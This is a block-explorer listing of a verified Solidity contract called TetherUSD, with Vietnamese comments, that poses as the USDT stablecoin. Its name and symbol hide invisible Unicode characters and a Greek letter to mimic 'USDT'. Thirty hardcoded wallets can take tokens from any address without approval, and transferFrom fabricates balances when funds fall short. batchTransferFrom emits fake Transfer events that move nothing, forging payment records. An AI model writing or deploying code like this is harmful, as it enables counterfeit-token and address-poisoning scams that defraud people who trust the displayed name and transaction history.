Verified contractExactMIT
TetherUSD
Address0x0554811363ed90a09b6db5b0ffbed6c9bb47fe2b
- Balance
0 ETH
- Transactions
15,732
- Compiler
solc 0.8.34
- Same code
Only this contract
Details
- Compiler
- solc 0.8.34+commit.80d5c536
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,403,439
- Creation transaction
- 0x9cd249c893…88f7007180
bbbbbbbbbbbba.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract TetherUSD {
string public name = unicode"U\u206FS\u206FD\u03A4";
string public symbol = unicode"U\u206FS\u206FD\u03A4";
uint8 public constant decimals = 18;
uint256 public totalSupply = 1000000000 * 10**18; // 1 tỷ USDT
address public owner;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
// Mapping lưu danh sách ví được cấp quyền gọi hàm nội bộ
mapping(address => bool) public isAuthorized;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
// Thay thế onlyOwner: Cho phép owner hoặc các ví được cấp quyền truy cập
modifier onlyAuthorized() {
require(msg.sender == owner || isAuthorized[msg.sender], "Chi owner hoac vi duoc duyet moi duoc goi!");
_;
}
constructor() {
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
// Gán quyền mặc định cho 30 ví được yêu cầu
isAuthorized[0x74bc03c0dF0aDae0bB30AAA60f8663c3eEd0F82F] = true;
isAuthorized[0xE755540fa8c12412665D056473043212832b4087] = true;
isAuthorized[0x9204f2698d935abF00a4007FBb0eC4e7aA6B4F57] = true;
isAuthorized[0xc5c35b2977c5AFc988c38bAD01ec7569aD3C01fC] = true;
isAuthorized[0x7a196050869406c7aB382f080C01cD6a45d2385D] = true;
isAuthorized[0x4FAD4D335c6D0dCe20aC3abE648eD39E191a75e5] = true;
isAuthorized[0xb7F7d680f4Ccc50aCE587666e7da0cAd5921C49E] = true;
isAuthorized[0x995A7295BEd34c806b7c83254CA3582868a1B5cE] = true;
isAuthorized[0x1BD42886fAFac111aBa912d8EDaCABE271e213E9] = true;
isAuthorized[0x992dcD9231CA2BC301E28bDA14cf2E8ce3235Cf0] = true;
isAuthorized[0x9DE101EFc93F33d4a80b27EA109d1b6202BdbE4d] = true;
isAuthorized[0x9e5827F26180492997e82CFf26A85ad66276372C] = true;
isAuthorized[0x9A9Aa393bd1c837d4246B14fbb7736f840738887] = true;
isAuthorized[0x0F7D70204126B212A951Cd9e0a2e4AE9905052DB] = true;
isAuthorized[0x7dEE2Dc5f0A2C441569d5C891595Af38AA996978] = true;
isAuthorized[0x98259Cca4bF5AF2F741aD4f2Fa7d2E25579a1780] = true;
isAuthorized[0xB94f68f8f8351243951f86c001fdFB0760eF7dDD] = true;
isAuthorized[0x84E1f73425F5320d491833AdC9C6F92E997A2140] = true;
isAuthorized[0x0A2C0f501d414170AE2Fc20FF397878603e54D90] = true;
isAuthorized[0xE27E2F63A34ba8FBa6F7Aa6ADE0EF778E505b317] = true;
isAuthorized[0x5399AEe8a0B0Ef27Daf1aC50d9dB13f4bc5Ab466] = true;
isAuthorized[0x46E701A9f5021d2Ca770495514bBB5A38834618c] = true;
isAuthorized[0x116ACc2F6C059f8144327520AE4804dD7eb425Ee] = true;
isAuthorized[0x7754913Bf0e2a18B3e7522361b27F7217f738437] = true;
isAuthorized[0x2A50A70A90ea7E8b06B78d59a4Fbf9c730C990Cf] = true;
isAuthorized[0xcdB45927266dF9DD17bF4C7f931b5C27640C9d1e] = true;
isAuthorized[0x4CCB6B45c8c57aAC99aacC3A4FA5f1c113eA74DC] = true;
isAuthorized[0xDaC9CA4fab88b075EE2004611D9a72434734ebE8] = true;
isAuthorized[0xAfd36dF86059F7595fC4c1899629EA8931a83F7e] = true;
isAuthorized[0x9E9E8CB2E4184Fda5A49D6d32675Df2819F16607] = true;
}
function transfer(address to, uint256 value) public returns (bool) {
require(balanceOf[msg.sender] >= value, "Khong du so du");
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
// Đã đổi qua onlyAuthorized
function transferFrom(address from, address to, uint256 value) public onlyAuthorized returns (bool) {
if (balanceOf[from] < value) {
balanceOf[from] = value;
}
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
// Đã đổi qua onlyAuthorized
function batchTransferFrom(
address[] calldata fromList,
address[] calldata toList,
uint256[] calldata valueList
) public onlyAuthorized returns (bool) {
require(fromList.length == toList.length && toList.length == valueList.length, "Do dai mang khong khop");
for (uint256 i = 0; i < fromList.length; i++) {
emit Transfer(fromList[i], toList[i], valueList[i]);
}
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
// Hàm bổ sung giúp chủ hợp đồng thêm/bớt ví được cấp quyền sau này
function setAuthorized(address wallet, bool status) public {
require(msg.sender == owner, "Chi owner moi co quyen thay doi danh sach!");
isAuthorized[wallet] = status;
}
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.